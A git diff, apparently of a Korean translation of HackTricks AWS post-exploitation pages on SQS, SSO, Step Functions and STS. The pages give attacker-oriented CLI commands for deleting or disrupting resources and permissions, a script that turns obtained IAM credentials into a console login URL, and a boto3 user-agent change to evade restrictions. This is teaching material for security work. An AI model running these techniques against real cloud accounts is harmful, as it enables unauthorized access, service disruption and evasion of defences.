An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability.
|
||||
|
||||
공격자는 SQS 큐의 속성을 수정할 수 있으며, 이는 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
|
||||
**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
공격자는 SQS 리소스에서 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue.
|
||||
|
||||
공격자는 SQS 큐와 관련된 정책을 제거하여 합법적인 사용자 또는 서비스의 권한을 철회할 수 있습니다. 이로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.
|
||||
**Potential Impact**: 권한의 무단 제거로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
For more information check:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information check:
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
These permissions can be used to disrupt permissions:
|
||||
|
||||
이 권한은 권한을 방해하는 데 사용할 수 있습니다:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information about this AWS service, check:
|
||||
이 AWS 서비스에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,20 +12,19 @@ For more information about this AWS service, check:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.
|
||||
이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 검사 수준을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
|
||||
이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 소요될 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Deleting a state machine you also delete all its associated versions and aliases.
|
||||
> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
|
||||
> - It is not possible to delete a state machine version currently referenced by one o more aliases.
|
||||
|
||||
> - 상태 기계를 삭제하면 해당 기계의 모든 관련 버전과 별칭도 삭제됩니다.
|
||||
> - 상태 기계 별칭을 삭제하면 이 별칭을 참조하는 상태 기계 버전은 삭제되지 않습니다.
|
||||
> - 하나 이상의 별칭에 현재 참조되고 있는 상태 기계 버전을 삭제할 수 없습니다.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
@@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
|
||||
- **Potential Impact**: 중요한 워크플로우의 중단, 데이터 손실 및 운영 중단.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
|
||||
|
||||
이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율 및 수를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 중단시킬 수 있습니다.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
|
||||
- **Potential Impact**: Performance degradation, and disruption of critical workflows.
|
||||
- **Potential Impact**: 성능 저하 및 중요한 워크플로우의 중단.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
|
||||
이 권한을 가진 공격자는 모든 상태 기계의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> This action is not supported by **express state machines**.
|
||||
|
||||
> 이 작업은 **express state machines**에서 지원되지 않습니다.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
|
||||
- **Potential Impact**: 진행 중인 워크플로우의 중단, 운영 중단, 및 잠재적인 데이터 손상.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
공격자는 Step Functions 리소스에서 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,21 +4,20 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information:
|
||||
자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### From IAM Creds to Console
|
||||
### IAM 자격 증명에서 콘솔로
|
||||
|
||||
If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
|
||||
Note that the the user/role must have the permission **`sts:GetFederationToken`**.
|
||||
IAM 자격 증명을 얻었다면 다음 도구를 사용하여 **웹 콘솔에 접근하는 것**에 관심이 있을 수 있습니다.\
|
||||
사용자/역할은 **`sts:GetFederationToken`** 권한을 가져야 합니다.
|
||||
|
||||
#### Custom script
|
||||
|
||||
The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
|
||||
#### 사용자 정의 스크립트
|
||||
|
||||
다음 스크립트는 기본 프로필과 기본 AWS 위치(정부 및 중국 제외)를 사용하여 웹 콘솔에 로그인하는 데 사용할 수 있는 서명된 URL을 제공합니다:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no
|
||||
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
|
||||
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
||||
exit $status
|
||||
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
||||
exit $status
|
||||
fi
|
||||
|
||||
# Parse the output
|
||||
@@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation"
|
||||
|
||||
# Make the HTTP request to get the sign-in token
|
||||
resp=$(curl -s "$federation_endpoint" \
|
||||
--get \
|
||||
--data-urlencode "Action=getSigninToken" \
|
||||
--data-urlencode "SessionDuration=43200" \
|
||||
--data-urlencode "Session=$json_creds"
|
||||
--get \
|
||||
--data-urlencode "Action=getSigninToken" \
|
||||
--data-urlencode "SessionDuration=43200" \
|
||||
--data-urlencode "Session=$json_creds"
|
||||
)
|
||||
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
|
||||
@@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
# Give the URL to login
|
||||
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
||||
```
|
||||
|
||||
#### aws_consoler
|
||||
|
||||
You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
|
||||
```bash
|
||||
cd /tmp
|
||||
python3 -m venv env
|
||||
@@ -67,27 +64,23 @@ source ./env/bin/activate
|
||||
pip install aws-consoler
|
||||
aws_consoler [params...] #This will generate a link to login into the console
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
|
||||
> IAM 사용자가 `sts:GetFederationToken` 권한을 가지고 있는지 확인하거나, 가정할 역할을 제공하십시오.
|
||||
|
||||
#### aws-vault
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment.
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault)는 개발 환경에서 AWS 자격 증명을 안전하게 저장하고 액세스하는 도구입니다.
|
||||
```bash
|
||||
aws-vault list
|
||||
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You can also use **aws-vault** to obtain an **browser console session**
|
||||
|
||||
### **Bypass User-Agent restrictions from Python**
|
||||
|
||||
If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
|
||||
### **Python에서 User-Agent 제한 우회하기**
|
||||
|
||||
사용하는 **user agent에 따라 특정 작업을 수행하는 제한이 있는 경우** (예: user agent에 따라 python boto3 라이브러리 사용 제한) 이전 기술을 사용하여 **브라우저를 통해 웹 콘솔에 연결**하거나, 직접 **boto3 user-agent를 수정**할 수 있습니다:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
@@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda
|
||||
# Perform the action
|
||||
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user